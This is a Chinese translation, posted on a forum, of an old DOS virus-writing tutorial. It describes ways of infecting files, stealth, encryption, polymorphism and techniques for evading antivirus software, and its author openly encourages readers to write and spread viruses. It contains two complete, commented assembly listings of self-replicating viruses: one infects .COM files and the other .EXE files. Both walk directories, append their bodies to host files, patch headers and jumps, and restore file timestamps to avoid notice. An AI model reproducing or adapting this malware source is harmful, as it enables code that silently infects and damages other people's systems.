• 标 题:Billy Belceb病毒编写教程(DOS篇)一些重要的理论
  • 作 者:onlyu
  • 时 间:2004年2月10日 06:24
  • 链 接:http://bbs.pediy.com

【一些重要的理论】
~~~~~~~~~~~~~~~~
    一个病毒实际上是一个程序,这个程序通常是用汇编编写的(但也可用其他语言编写,如PASCAL和C),它能把它自身复制到其它可执行程序或其它的如boot sector或者MBR。汇编并不是人们所形容的“恶魔”,相信我:)
    我希望你已经发现了,这里我还没有提及宏病毒:如果你想真正的学到东西,我想你能做的最好的事情就是用汇编语言去写一些病毒。
    一个病毒会把它本身附在宿主的尾部(80%的病毒是这样的),利用MS-DOS会优先执行.com文件,而不是.exe文件这个特性(companion virus(伴随型病毒)),不增加原先文件的大小(guest infectors和overwriting virus),EXE文件头病毒,中间文件感染病毒,安装在启动记录里,在MBR里,甚至采用了压缩引擎...一个病毒甚至在感染完一个文件后能减小原来文件的大小。;) 希望不久后一个病毒能象这样(超级病毒;))让我们来看看第一种类型的病毒的运行示意图;)
                                      _______________ 
    _________   _________         ___|         |     |<---|
   |         | |         |       |   | JMP 病毒|     |    |
   |   文件  |+|  病毒   |---------> |_________|     |    |
   |_________| |_________|       |   |               |    | 
                                 |   |     文件      |    |    
                                 |   |               |    |
                                 --->|---------------|    |
                                     |               |    | 
                                     |               |    | 
                                     |     病毒      |    |
                                     |               |    |
                                     |_______________|____|

     病毒通常会遵循如下相同步骤:
    1. 定位要感染的文件(一直等待直到打开某些东西,或者搜索目录)
    2. 检查某个文件是否已经被感染
    3. 如果已感染,跳过
    4. 保存文件日期/时间
    5. 设置一个跳转跳到我们的代码保存前几个字节                                 
    6. 添加病毒主体代码      
    7. 恢复文件日期/时间

    正如你所看到的,非常简单,但是它们会使用不同的方法来实现这个,我会在以后解释。
    另一种类型的感染过程也能表示出来,但是它更慢,因为我们们要处理目标所有的代码,把它存在一个临时空间里,写上我们的病毒代码,和目标的原先的代码。让我们看:
                                       _____________  
  __________     ___________          |             |
 |          |   |           |         |             |
 |   文件   | + |   病毒    |-------->|    病毒     |   
 |__________|   |___________|         |             |    
                                      |-------------|↓  
                                      |             |      
                                      |    文件     |     
                                      |             |   
                                      |_____________|

     世界上最差的病毒是那种覆盖型的病毒。它们是如此的富有破坏性,而且感染也是很容易被检测出来的,因为它们不能运行目标程序(由于感染方法的原因,它们不能运行目标程序),它们只能运行病毒程序本身。让我们来看看一幅示意图:
                                     ______________ 
  ___________   ___________         |              |  
 |           | |           |        |    病毒      |
 |   文件    |+|   病毒    |------->|              |
 |___________| |___________|        |--------------| 
                                    |              | <---原先文件再也不会
                                    |______________|     运行了 :(

     一个真正的好主意是文件中感染(mid-file infection),可能这是最好的感染方法了:病毒更难去除、模拟了...它们通常的对目标程序在随机的偏移地址写上病毒代码,示意图如下:
                                  ________________    
                              ---|         |      |<---|
                              |  |JMP 病毒 |      |    |
 __________   __________      |  |_________|      |    |
|          | |          |     |  |                |    |
|   文件   |+|   病毒   |------->|   文件(I)      |    | 
|__________| |__________|     |  |________________|    |
                              -->|                |    |
                                 |     病毒       |    |
                                 |________________|____|
                                 |                |
                                 |   文件(II)     |
                                 |________________|
                                 | 病毒覆盖保存   |
                                 | 的数据         |
                                 |________________|  
     
    当然啦,还有更多的感染方法,但是这是一篇为初学者而写的教程,所以...永远不要忘记:)

    一个病毒有一些不同的phase(阶段):

    感染(INFECTION):一个病毒通常会出人意料地出现的,在一个文件中(通过磁盘,e-mail...)或者启动扇区(boot sector)(磁盘...)。使用者在不知道的情况下执行病毒,那就是病毒开始控制系统的时候了(取代了使用者) ;)

    "我拥有控制权"(I-HAVE-THE-CONTROL):这是病毒最有意思的阶段,使得使用者高高兴兴地生活着,把程序借给他的/她的朋友,感染它们,和所有材料。那么这个病毒就会非常快的感染越来越多的人了。[译者注:实际上这个阶段可概括为传播阶段,原文措辞很难理解]

    发作(PAYLOAD):在满足一定的条件后,病毒将会显示它的存在了。发作可能会是破坏性的<g>,也可能不会;)。以我个人的观点,蹩脚的病毒编写者才会编写破坏性的病毒,这些卑鄙的人就喜欢从破坏别人的电脑中得到快感,好一点的发作是那些正宗的病毒,它们给使用者带来了惊奇。当然了,也有从来不发作的病毒,这类病毒除了复制自己之外,什么事也不干(Hi Patty Bitchman!)。

    在这篇教程中,我将要讨论一些其它的话题诸如:

    病毒自身的保护:我确实很喜欢这个话题。这个通常在防止那些饥渴的家伙调试/反汇编我们的病毒。呵呵,一个优秀的病毒作者能反汇编他/她想要反汇编的任何病毒,Tcp/29A和Darkman/29A...就是榜样。

    隐蔽:为了编写出出色的病毒,需要伪装的手段。有许多伪装的方法(FCB,Handles,SFT,Disinfection-on-the-fly...),我将会介绍其中的一些方法。这样会使使用者产生一种错觉,自己机器上没有任何病毒感染,使他的文件大小在感染前后完全一样,在打开这个文件之前给它“消毒”(disinfecting)...
   
    加密:这个方法在于加密病毒的主体,使得我们能作为版权的字符串不能被怀疑者识别;)它实际上是一种老技术了,但是现在仍然被使用着(但是有一些改变,看下一点)。它使用算术运算来完成加密(XOR, ADD-SUB, INC-DEC, NOT, NEG, ROR-ROL... )

    多态性:为了躲避AV(查杀毒软件)的一项技术,是加密的一种扩展。目的就是每次产生不同的解密例程,使得对病毒无法扫描,或者使扫描字符串尽可能的短。

    反-探索:探索式扫描器并不象某些人说的那么可信。我将表明探索并不象它们看起来的那么安全。为了避免标志,解决的方式是一些花招(tricks)。

    TUNNELING(地道?坑道?):这个是在获得“真正”的INT 21h中断向量时使用,绕过TSR监视,和所有的拦路虎。

    ANTI-TUNNELING(反-地道?):AV使用的避开tunneler的武器,成了TSR监视的一个敌人了。它还在停止其它的病毒试图获得“我们的”INT 21h的时候非常酷:)

    反-引诱(ANTI-BAIT):引诱这种手段是AV使用的在许多文件中进行多重感染,试图获得我们病毒的扫描字符串(而且利用它,获得我们的变异引擎)...我们希望被这样吗?当然不!我将会解释避免感染这种无关程序的使用得最多得方法。

    优化(OPTIMIZATION):好的病毒总是使用最少的代码做最多的事情。在这一小节,你将会看到怎样用最少的代码做最多的事情。

【第一步 运行期病毒】(RUNTIME viruses)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    成功的感染有很多方法。现在我将介绍最古老的一个,运行期方法(也叫直接感染法)。现在,没有人再来编写运行期病毒了,因为它们太慢了(sloooooooow,译者注:很形象),而且它们的存在会被一个中等感兴趣的用户发现。但是...不要怕!这种方法是特别简单,但是圈内的所有人,都是以编写出运行期感染com文件病毒迈出他们的第一步的。这个方法仅仅是你的病毒开发的第一次亲密接触。一个运行期病毒存在于一个程序中,使用通配符("*.com","*.exe","*.*"...)来搜索文件,使用DOS-API(当然是INT 21h啦)函数Findfirst和Findnext(4Eh和4Fh)。它还进入其它的目录而不是实际所在的目录进行感染。通常这种类型的病毒感染.com和.exe文件,但是也能感染.sys,.obj,.zip...但要解释清楚这个我恐怕还需写一篇教程,而且...你还记得这是为初学者写的教程吗? ;)

%COM 文件感染%
~~~~~~~~~~~~~~
    最早的病毒,正如你所能想象的是感染com文件的病毒。这是你必须搞懂的第一病毒,而且这种病毒,或多或少,所用到的方法,在所有的病毒里都会用到(TSR等等):

1.打开文件
2.保存时间/日期/属性
3.存储开始的(通常 3)字节
4.计算新的跳转(jump)
5.添上这个跳转
6.添加病毒主体
7.恢复时间/日期/属性
8.关闭文件

    你必须记住的是一个COM文件的物理代码和内存中一样(COM=Copy Of Memory)。DOS会把所有的可用内存分配给COM文件。让我们看看一个装载到内存中的COM程序:

 _______________________________ 
|                               |<--------CS=0000h 
|  Program Segment Prefix(PSP)  |     |---DS=0000h
|      100h bytes(256d)         |     |---ES=0000h
|_______________________________|     |---SS=0000h
|                               |<--------CS:IP=0100h
|        程序代码和数据          | 
|                               |
|                               |
|                               |      
|                               |     |---CS=FFFFh (*)堆栈向后增长,自底向顶
|                               |     |---DS=FFFFh
|             堆栈              |     |---ES=FFFFh
|_______________________________|<--------SS:SP=FFFFh  

    一个COM文件只能有一段(FFFFh bytes)大小减去100h bytes的大小被PSP使用(FFFFh-100h=FEFFh)。但是有一个问题。我们必须节省更多的空间给堆栈的增长所需(每次我们会使用PUSH而忘记了POP,堆栈增长了,而如果它增长了太多的话,将会搞崩溃我们的程序)。我将至少留100h bytes给堆栈。OK? :)
    这很容易理解...而且它是逻辑上的!!! ;)
    说到逻辑上的东西...我想现在是练习感染COM文件的好时候了。它是一个蹩脚的病毒。蹩脚?仅仅?比这更甚:最蹩脚的! ;)但是这是一个初学者教程,所以我必须写它!虽然它使我很恼火!恩,我就不浪费脑力来编写那样的东西了,虽然我只要花5分钟时间就可以写一个:)(花时间?浪费时间!)

;-----从这里开始剪切-----------------------------------------------------
;一个非常蹩脚的病毒。不要编译。不要发布。
;如果你还复制这个...你就会很蹩脚了!
;但是我希望这个能帮助你走好第一步成为一个出色的病毒编写者 ;)    
;然后你会给我问候 :)
;我讨厌编写我自己的运行期病毒(5分钟可以写一个很差的,请相信我,非常烦人,而
;且浪费时间)所以我使用了Dark Angel的代码
;对不起,我是一个很懒的人 :)
;汇编用:TASM /m3 lame.asm
;连接用:TLINK /t lame.obj
;Virus generated by G?0.70 (看,我没有去掉签名。它不是我写的!你能做的最蹩
;脚的事情就是把签名去掉。不要忘记吆! )
;作者:Dark Angel 属于Phalcon/Skism
;文件:LAME.ASM

  .model  tiny
  .code

  org  0100h

carrier:
  db  0E9h,0,0    ; jmp start

start:
  mov  bp, sp      ; Antidebugging get ?offset!
  int  0003h      ; Int for breakpoints
next:
  mov  bp, ss:[bp-6]
  sub  bp, offset next
;----------------------------------------------------------------------
;  解释:
;  让我们看,当我们感染一个文件。所有的offset会偏移目标程序的大小,所
;  以我们选择一个寄存器(通常BP或者SI),而且我们利用这个简单的方法给它赋
;  文件的大小,每次我们使用一个变量,我们必须把这个寄存器作为偏
;  移(这里是BP)
;----------------------------------------------------------------------

  mov  dl, 0000h    ; Default drive
  mov  ah, 0047h    ; Get directory
  lea  si, [bp+offset origdir+1]
  int  0021h

  lea  dx, [bp+offset newDTA]
  mov  ah, 001Ah    ; Set DTA
  int  0021h

;----------------------------------------------------------------------
;  解释:
;  上面一段把当前目录保存在一个变量里面。
;  你在这篇教程里面可以查找一下有关于DTA结构的介绍。DTA(Disk Transfer 
;  Address)在仍然属于命令行的PSP(Program Segment Prefix)的80h byte处。
;  你想直到为什么...在我们使用命令行的时候使用DTA会发生什么呢?
;  那就是我们保存DTA的原因(除了我们自己使用之外,毫无疑问了)
;----------------------------------------------------------------------

restore_COM:
  mov  di, 0100h
  push  di
  lea  si, [bp+offset old3]
  movsb        ; Move first byte
  movsw        ; Move next two

  mov  byte ptr [bp+numinfect], 0000h

;-------------------------------------------------------------------------
;  解释:
;  上面一段是恢复被感染COM文件的前三个bytes,在offset 100h 处还把这个
;  offset保存在DI里面以备后用。最后一行是把真正感染的个数初始化为0
;  (计数器)
;-------------------------------------------------------------------------

traverse_loop:
  lea  dx, [bp+offset COMmask]
  call  infect
  cmp  [bp+numinfect], 0003h
  jae  exit_traverse    ; exit if enough infected

  mov  ah, 003Bh    ; CHDIR
  lea  dx, [bp+offset dot_dot] ; go to previous dir
  int  0021h
  jnc  traverse_loop    ; loop if no error

exit_traverse:

  lea  si, [bp+offset origdir]
  mov  byte ptr [si], ''
  mov  ah, 003Bh    ; restore directory
  xchg  dx, si
  int  0021h

;-------------------------------------------------------------------------
;  解释:
;  这里我们所做的就是感染当前目录下的所有文件,做完这个后,来到..目录下,
;  即当前目录的上一级目录。
;  当没有更多的目录后,我们就来到我们最先所处的目录。
;-------------------------------------------------------------------------

  mov  dx, 0080h    ; in the PSP
  mov  ah, 001Ah    ; restore DTA to default
  int  0021h

return:
  ret

;--------------------------------------------------------------------------
;   解释:
;   这一段恢复DTA为原先的地址,在Program Segment Prefix(PSP)的offset 80h 处
;   然后返回到原先的offset 100h,为了正常地执行这个文件。
;   (记住我们当di=100h时,执行了push di操作。
;--------------------------------------------------------------------------

old3    db  0cdh,20h,0

infect:
  mov  ah, 004Eh    ; find first
  mov  cx, 0007h    ; all files
findfirstnext:
  int  0021h
  jc  return

;--------------------------------------------------------------------------
;   解释:
;   在这段代码中,我们所做的是在当前目录下面寻找和保存在DX里的通配符(在这
;   个例子里"*.COM"),可以为任意类型的文件。
;   Old3 是处理被感染了的COM文件的前3字节。
;   如果没有符合的文件,一个进位标志将会返回,然后跳转到把控制权交
;   给主程序的处理程序。如果我们发现至少有一个可以感染,就跳转到接下来的
;   代码,处理完了后,再寻找其它文件。 
;--------------------------------------------------------------------------

  cmp  word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
  mov  ah, 004Fh    ; Set up find next
  jz  findfirstnext    ; Exit if so

;--------------------------------------------------------------------------
;  解释:
;  这一段处理不要感染command.com这个文件,检查文件在某个位置name+5(DTA+35)
;  有字符 DN (不是ND,是因为这两个是倒着存储的!)
;--------------------------------------------------------------------------

  lea  dx, [bp+newDTA+30]
  mov  ax, 4300h
  int  0021h
  jc  return
  push  cx
  push  dx

  mov  ax, 4301h    ; clear file attributes
  push  ax      ; save for later use
  xor  cx, cx
  int  0021h

;--------------------------------------------------------------------------
;  解释:
;  上面一段第一部分有两个功能:为将来恢复文件的属性而保存文件的属性,
;  检查文件是否存在或者是否有问题。
;  第二部分在堆栈中保存4301h(写属性的函数)和清除文件讨厌的属性如只读
;  属性 :)
;--------------------------------------------------------------------------

  lea  dx, [bp+newDTA+30]
  mov  ax, 3D02h    ; Open R/O
  int  0021h
  xchg  ax, bx      ; Handle in BX

  mov  ax, 5700h    ; get file time/date
  int  0021h
  push  cx
  push  dx

;--------------------------------------------------------------------------
;  解释: 
;  第一部分以读/写模式打开文件,并把文件句柄放在BX中,放这里将会更有用。
;  指令的第二部分获得文件的日期和时间然后保存在堆栈中。
;--------------------------------------------------------------------------

  mov  ah, 003Fh
  mov  cx, 001Ah
  lea  dx, [bp+offset readbuffer]
  int  0021h

  xor  cx, cx
  xor  dx, dx
  mov  ax, 4202h
  int  0021h

;--------------------------------------------------------------------------
;  解释:
;  第一部分读取1Ah 字节(26) 到读缓冲区中,为后来做准备。
;  第二部分把文件指针指向文件尾,有两个原因:1.把文件大小放到AX中
;  2.我们将在文件尾添上病毒。 
;--------------------------------------------------------------------------

  cmp  word ptr [bp+offset readbuffer], "ZM"
  jz  jmp_close

  mov  cx, word ptr [bp+offset readbuffer+1] ; jmp location
  add  cx, heap-start+3  ; convert to filesize
  cmp  ax, cx      ; equal if already infected
  jl  skipp
jmp_close:
  jmp  close

;--------------------------------------------------------------------------
;  解释:
;  第一部分比较打开的COM文件的前两个字节,为了分辨清楚这个文件是否是一个
;  错误命名的EXE文件(记住字符串必须是倒序)。
;  第二部分检查以前的感染,比较  病毒大小+目标文件(被感染前)大小是否和
;  目标文件的实际大小是否相等。
;--------------------------------------------------------------------------

skipp:

  cmp  ax, 65535-(endheap-start) ; check if too large
  ja  jmp_close    ; Exit if so

  lea  di, [bp+offset old3]
  lea  si, [bp+offset readbuffer]
  movsb
  movsw

;--------------------------------------------------------------------------
;  解释:
;  上面指令的第一部分检查COM文件的大小,看看我们能否感染它(COM文件大小+病毒
;  大小不能>0FFFFh(65535)),如果大于了,PSP 和堆栈会"撑爆"文件。
;  第二部分把old3的值(3 字节) 赋到读缓冲区中。
;--------------------------------------------------------------------------

  sub  ax, 0003h    ; Virus_size-3 ( jump size )
  mov  word ptr [bp+offset readbuffer+1], ax
  mov  dl, 00E9h    ; Opcode of jmp
  mov  byte ptr [bp+offset readbuffer], dl

  lea  dx, [bp+offset start]  ; The beginning of what append
  mov  cx, heap-start    ; Size to append
  mov  ah, 0040h    ; concatenate virus
  int  0021h

;--------------------------------------------------------------------------
;  解释:
;  第一部分计算跳转到病毒的代码并把结果保存在一个变量中。
;  第二部分把病毒附到目标文件后面:)
;--------------------------------------------------------------------------

  mov  ax, 4200h
  xor  dx, dx
  xor  cx, cx
  int  0021h


  mov  cx, 0003h
  lea  dx, [bp+offset readbuffer]
  mov  ah, 0040h
  int  0021h

  inc  [bp+numinfect]

;--------------------------------------------------------------------------
;  解释:
;  第一部分把文件指针指向文件开头,第二部分写跳转到病毒的代码。
;  第三部分使变量增加以 记住已经成功感染的次数。
;--------------------------------------------------------------------------

close:
  mov  ax, 5701h    ; restore file time/date
  pop  dx
  pop  cx
  int  0021h

  mov  ah, 003Eh
  int  0021h

  pop  ax      ; restore file attributes
  pop  dx      ; get filename and
  pop  cx      ; attributes from stack
  int  0021h

  mov  ah, 004Fh    ; find next
  jmp  findfirstnext
;--------------------------------------------------------------------------
;  解释: 
;  上面指令的第一部分恢复存储在DTA里面的文件的时间和日期。
;  第二部分关闭文件而第三部分被感染文件原先的属性。
;  最后一部分赋AX以调用DOS的FindNext函数,并寻找更多的文件来感染。
;--------------------------------------------------------------------------


signature  db  "[PS/G齗",0     ; Phalcon/Skism G?( old!! )
COMmask   db  "*.COM",0       ; Must be ASCIIZ ( Ascii string,0 )
dot_dot   db  "..",0          ; Directory to change

heap:          ; this data goes in heap
newDTA    db  43 dup (?)  ; DTA size, 2Bh
origdir   db  65 dup (?)  ; Where to store old directory
numinfect  db  ?    ; Handles the number of infections
readbuffer  db  1ah dup (?)  ; Buffer
endheap:
end  carrier
;-----到这儿为此剪切------------------------------------------------------

     正如你所看到的,它使如此的简单,而且代码被详细地注释了。如果你还不懂,不用往下看了,继续看COM文件地感染!!!但是...一个病毒要是仅仅感染COM文件...而且运行期病毒可能在6、7年前很酷,但如今它太差劲了!在传播一个运行期病毒之前,我建议你还是再等一段时间吧。几个月时间足够使你学好汇编语言了,而你如果多花一些时间提高你的技能,那么,再过几个月,你将会编写出有着很强隐蔽能力和巧妙花招的病毒来。
    在讨厌的Win95中有大量的COM文件,有意思吧?到目前为止它们经常被使用,但还有个问题。如果我们这么简单的感染它们,它们会造成死机的:(解决的方法是保存文件的最后七个字节,在最后两个字节添上病毒的大小。
    最后指出,对于其他病毒编写者对你的初学所编写出来的病毒表现出的不屑一顾请不要在意。有时候这些人(仅仅是少部分人,通常圈内的大部分人很热心的)忘记了他们起步时其实和你差不多,要相信自己。
    不谈那些连自己的根都忘记了的人了,接下来谈谈EXE文件的感染 。

%EXE 文件的感染%
~~~~~~~~~~~~~~~~
    首先你必须知道的是,感染EXE文件是和感染COM文件不同的(我猜聪明的你一定早就知道这个了),EXE文件可能更大了,而且它们有一个文件头HEADER(我想感染EXE文件最重要的就是掌握这个文件头),这个文件头包含了我们感染时的重要数据如CS:IP(存储的时候是倒着的IP:CS),SS:SP(没有倒着存!!!),段中的文件大小和所有其它重要的东西。下面给出EXE文件头结构:

 _______________________________________
|      EXE file mark(ZM or MZ)          |<----+0000h
|_______________________________________|           Size:1 WORD
|     Bytes in last page of image*      |<----+0002h
|_______________________________________|           Size:1 WORD
|           Number of pages*            |<----+0004h
|_______________________________________|           Size:1 WORD
|      Number of relocation items       |<----+0006h
|_______________________________________|           Size:1 WORD
|   Size of the header in paragraphs    |<----+0008h 
|_______________________________________|           Size:1 WORD 
|         MinAlloc in paragraphs        |<----+000Ah
|_______________________________________|           Size:1 WORD
|         MaxAlloc in paragraphs        |<----+000Ch  
|_______________________________________|           Size:1 WORD 
|              Initial SS*              |<----+000Eh     
|_______________________________________|           Size:1 WORD
|              Initial SP*              |<----+0010h
|_______________________________________|           Size:1 WORD
|          Negative checksum            |<----+0012h
|_______________________________________|           Size:1 WORD
|             Initial IP*               |<----+0014h 
|_______________________________________|           Size:1 WORD
|             Initial CS*               |<----+0016h
|_______________________________________|           Size:1 WORD
|            Reloacations               |<----+0018h
|_______________________________________|           Size:1 WORD
|              Overlays                 |<----+001Ah
|_______________________________________|           Size:1 WORD
|          Reserved/Not used            |<----+001Ch
|_______________________________________|           Size:1 DWORD?
                                          总长度:变量!
             标志了(*)的表示病毒感染时将会被修改。

    EXE文件可以有不止一个段(segment)(一个为代码段,一个为数据段,其它为堆栈段->按照CS,DS,SS的顺序)
    EXE文件头是由连接器产生的,使用者是不会改变它的。当DOS把EXE文件装如内存,它看起来如下:

 _______________________________
|  Program Segment Prefix(PSP)  |<-------ES=0000h
|     100h bytes(256d)          |    |---DS=0000h
|_______________________________|
|   Program Code Segment(CS)    |<-------CS:IP(由文件头指向)
|_______________________________|
|   Program Data Segment(DS)    |
|_______________________________|
|   Program Stack Segment(SS)   |<-------SS=0000h
|_______________________________|<-------SS:SP(由文件头指向)

    正如你所看到的,EXE文件没有COM文件所存在的问题。为了满足堆栈需要(PUSH和POP),我们拥有整个段(segment)!它仍然向后增长(自底向顶)。
    让我们看看你编写感染EXE文件的病毒所需遵循的算法(一步接一步):

   1.以只读方式打开文件(哇!天才!)
   2.读取前1A字节(26d)数据
   3.把它们保存到一个变量中
   4.关闭文件
   5.检查作为标志的第一个字(MZ,ZM)
   6.如果相等,继续,如果不相等,转向16
   7.检查以前是否已被感染
   8.如果没有被感染,继续,如果已被感染转向17
   9.保存CS:IP(反过来->IP:CS)为将来恢复EXE文件用
  10.同样的目的,保存SS:SP(就按这个顺序)
  11.计算新的CS:IP和SS:SP
  12.修改最后一页的字节和页数
  13.重新打开(但是以read/write模式打开)
  14.写文件头
  15.使文件指针指向文件尾
  16.添加病毒主体
  17.关闭文件

    毫无疑问,你该按照上面说的那么做,如以读/写模式打开文件只有一次。一定要注意被感染文件的SP。
    我不想再介绍更多的理论来烦你了,请记住这一点,学习编写病毒的最好的方法是多看其它病毒的源代码。而且看我已经为你加了注解的病毒源代码将会更好:)

;-----------从这里开始剪切----------------------------------------------------
;  到了更有趣的章节,我将把我自己编写的病毒的源代码作为例子。
;  那时候,看了这些代码,你就会感到很差了 :)
;
;  汇编:TASM /m3 lame.asm
;  联接:  TLINK /t lame.obj
;
;  Virus generated by G 0.70
;  作者:Dark Angel 属于 Phalcon/Skism

id    =  ';)'

  .model  tiny
  .code
  org  0100h

start:
  call  next
next:
  pop  bp
  sub  bp, offset next
;---------------------------------------------------------------------------
;  解释:
;    这是最普遍的寻找偏移地址(delta offset)的方法了(如果你还不知道什么是
;     delta offset 的话,杀了你自己算了)
;---------------------------------------------------------------------------

  push  ds
  push  es
  push  cs
  pop  es      ; CS = ES
  push  cs
  pop  ds      ; CS = ES = DS

;---------------------------------------------------------------------------
;  解释:
;  这次的目标不是一个COM文件了!请记住这一点!EXE文件更强大了(比较
;    难一点感染了)。当我们执行一个EXE文件,每一段指向一个不同的段,所以
;    我们需要调整它们。记住我们不能添加诸如"mov es,ds"的代码,所以,需要
;    小小的花招来做这个。使用堆栈:)
;---------------------------------------------------------------------------

  mov  ah, 001Ah    ; Set DTA
  lea  dx, [bp+offset newDTA]
  int  0021h

  mov  ah, 0047h    ; Get directory
  lea  si, [bp+offset origdir+1]
  cwd        ; Default drive
  int  0021h

;---------------------------------------------------------------------------
;  解释:
;     你还记得我们的老朋友吗,DTA?我希望你的回答是yes,如果是not,重新读整篇
;    教程,上帝会原谅你的!
;    第二个例程也是一段经典的程序,你已经看过了。
;---------------------------------------------------------------------------

  lea  di, [bp+offset origCSIP2]
  lea  si, [bp+offset origCSIP]
  movsw
  movsw
  movsw
  movsw

  mov  byte ptr [bp+numinfect], 0000h

;---------------------------------------------------------------------------
;  解释:
;  嗨!有新东东啦!第一段的功能是为了将来恢复目标EXE文件。我希望你知道
;  MOVSW这条指令...不知道?Grrr...我解释给你听吧,但是其它的疑问....
;    买一本汇编教材!!!MOVSW 从DS:SI移一个字到ES:DI(MOVSB做同样的事但是
;    移一个字节)。我们这么做是因为我们有两个双字。我们还可以使用如:
;    MOV CX,4 和 REP MOVSW,或者在386+里,两个MOVSD。
;---------------------------------------------------------------------------

traverse_loop:
  lea  dx, [bp+offset EXEmask]
  call  infect
  cmp  [bp+numinfect], 0003h
  jae  exit_traverse    ; exit if enough infected

  mov  ah, 003Bh    ; CHDIR
  lea  dx, [bp+offset dot_dot] ; go to previous dir
  int  0021h
  jnc  traverse_loop    ; loop if no error

;---------------------------------------------------------------------------
;  解释:
;  解释以前已经解释过的例程是件痛苦的事...
;---------------------------------------------------------------------------

exit_traverse:

  lea  si, [bp+offset origdir]
  mov  byte ptr [si], ''
  mov  ah, 003Bh    ; restore directory
  xchg  dx, si
  int  0021h

  pop  es      ; ES = DS
  pop  ds

  mov  dx, 0080h    ; in the PSP
  mov  ah, 001Ah    ; restore DTA to default
  int  0021h

;---------------------------------------------------------------------------
;  解释:
;  已经在感染COM文件时介绍过了。
;---------------------------------------------------------------------------

restore_EXE:
  mov  ax, ds
  add  ax, 0010h
  add  cs:[bp+word ptr origCSIP2+2], ax
  add  ax, cs:[bp+word ptr origSPSS2]
  cli
  mov  ss, ax
  mov  sp, cs:[bp+word ptr origSPSS2+2]
  sti
  db  00EAh        ; jmp far opcode
origCSIP2  dd  ?
origSPSS2  dd  ?
origCSIP  dd  0fff00000h
origSPSS  dd  ?

return:
  ret

;---------------------------------------------------------------------------
;  解释:
;  这里是恢复目标EXE文件。看看这些指令...我们的目的是恢复被感染EXE文件
;    的原先CS:IP和SS:SP的值。注意在堆栈操作之前,我们必须释放中断。
;    然后,我们跳转到原先的EXE代码,如果没有什么意外的话,将会按我们
;    预料的发展了 :)
;---------------------------------------------------------------------------

infect:
  mov  cx, 0007h    ; all files
  mov  ah, 004Eh    ; find first
findfirstnext:
  int  0021h
  jc  return
  lea  dx, [bp+newDTA+30]
  mov  ax, 4300h
  int  0021h
  jc  return
  push  cx
  push  dx

  mov  ax, 4301h    ; clear file attributes
  push  ax      ; save for later use
  xor  cx, cx
  int  0021h

;---------------------------------------------------------------------------
;  解释:
;  这段代码看起来还感染COM文件的那段差不多。因为这段是寻找EXE文件,
;    清除文件属性和其它的
;---------------------------------------------------------------------------

  mov  ax, 3D02h
  lea  dx, [bp+newDTA+30]
  int  0021h
  xchg  ax, bx

  mov  ax, 5700h    ; get file time/date
  int  0021h
  push  cx
  push  dx

  mov  ah, 003Fh
  mov  cx, 001Ah
  lea  dx, [bp+offset readbuffer]
  int  0021h

  mov  ax, 4202h
  xor  cx, cx
  cwd
  int  0021h

;---------------------------------------------------------------------------
;  解释:
;  嗨,上面的所有代码已经在介绍COM文件感染时见过了。但是从这儿开始到最后,
;  还有有关于EXE文件感染的更酷的东西呢 :)
;---------------------------------------------------------------------------

  cmp  word ptr [bp+offset readbuffer], 'ZM'
  jnz  jmp_close

checkEXE:
  cmp  word ptr [bp+offset readbuffer+10h], id
  jnz  skipp
jmp_close:
  jmp  close

;---------------------------------------------------------------------------
;  解释:
;  第一部分比较打开文件的前几个字节来寻找EXE文件的签名(MZ)。G的作者好象
;  忘记了加上比较ZM。第二部分检查是否已被感染。这个病毒是一个比较老的
;   运行期病毒,它的基本方法是标记已经感染的EXE文件(把EXE文件头的两个字节
;   压栈作为SP)。
;---------------------------------------------------------------------------

skipp:

  lea  si, [bp+readbuffer+14h]
  lea  di, [bp+origCSIP]
  movsw        ; Save original CS and IP
  movsw

  sub  si, 000Ah
  movsw        ; Save original SS and SP
  movsw

;---------------------------------------------------------------------------
;  解释:
;  在这里为了理解这段代码,你必须记起来MOVSW会做什么(刚在上面介绍的)。OK?
;    这里恢复打开EXE文件的CS:IP和SS:SP的值。
;---------------------------------------------------------------------------

  push  bx      ; save file handle
  mov  bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
  mov  cl, 0004h
  shl  bx, cl

  push  dx      ; Save file size on the
  push  ax      ; stack

  sub  ax, bx      ; File size - Header size
  sbb  dx, 0000h    ; DX:AX - BX -> DX:AX

  mov  cx, 0010h
  div  cx      ; DX:AX/CX = AX Remainder DX

  mov  word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
  mov  word ptr [bp+readbuffer+14h], dx ; IP Offset
  mov  word ptr [bp+readbuffer+10h], id ; Initial SP
  mov  word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.

;---------------------------------------------------------------------------
;  解释:
;  这段代码看起来很难理解。但实际上不是。第一部分在readbuffer+8处读取数值
;    (段中的文件头大小)。然后把它转化为字节。第二部分把文件大小压栈。第三部分
;    把文件大小减去文件头大小。第四部分把上面结果除以10存在AX中,把余数存在
;    DX中。然后给SS,IP,SP和CS赋新值。
;---------------------------------------------------------------------------

  pop  ax      ; File length in DX:AX
  pop  dx

  add  ax, heap-start
  adc  dx, 0000h

  mov  cl, 0009h
  push  ax
  shr  ax, cl
  ror  dx, cl
  stc
  adc  dx, ax
  pop  ax
  and  ah, 0001h

  mov  word ptr [bp+readbuffer+2], ax ; Fix-up the file size in
  mov  word ptr [bp+readbuffer+4], dx ; the EXE header
;---------------------------------------------------------------------------
;  解释:
;  Yeeeha!一些很酷的数学运算!:)首先我们要做的是恢复文件大小。然后,我们
;    加上病毒的大小。这一大段代码的许多运算是计算感染后的文件头中的文件大小
;    并化成512进制的形式。假设我们有一个513字节的文件,那么这里我们将得到
;    2,余数1。最后的指令把计算得到的结果写到文件头中。
;---------------------------------------------------------------------------

  pop  bx      ; restore file handle

  mov  cx, heap-start
  lea  dx, [bp+offset start]
  mov  ah, 0040h    ; concatenate virus
  int  0021h

  xor  dx, dx
  mov  ax, 4200h
  xor  cx, cx
  int  0021h


  lea  dx, [bp+offset readbuffer]
  mov  cx, 001Ah
  mov  ah, 0040h
  int  0021h

  inc  [bp+numinfect]

;---------------------------------------------------------------------------
;  解释:
;  这一段我们添加病毒主体,然后把文件指针移到文件头。现在我们写上新的文件头
;    ,并把计数器加1。
;---------------------------------------------------------------------------

close:
  mov  ax, 5701h    ; restore file time/date
  pop  dx
  pop  cx
  int  0021h

  mov  ah, 003Eh
  int  0021h

  pop  ax      ; restore file attributes
  pop  dx      ; get filename and
  pop  cx      ; attributes from stack
  int  0021h

  mov  ah, 004Fh    ; find next
  jmp  findfirstnext

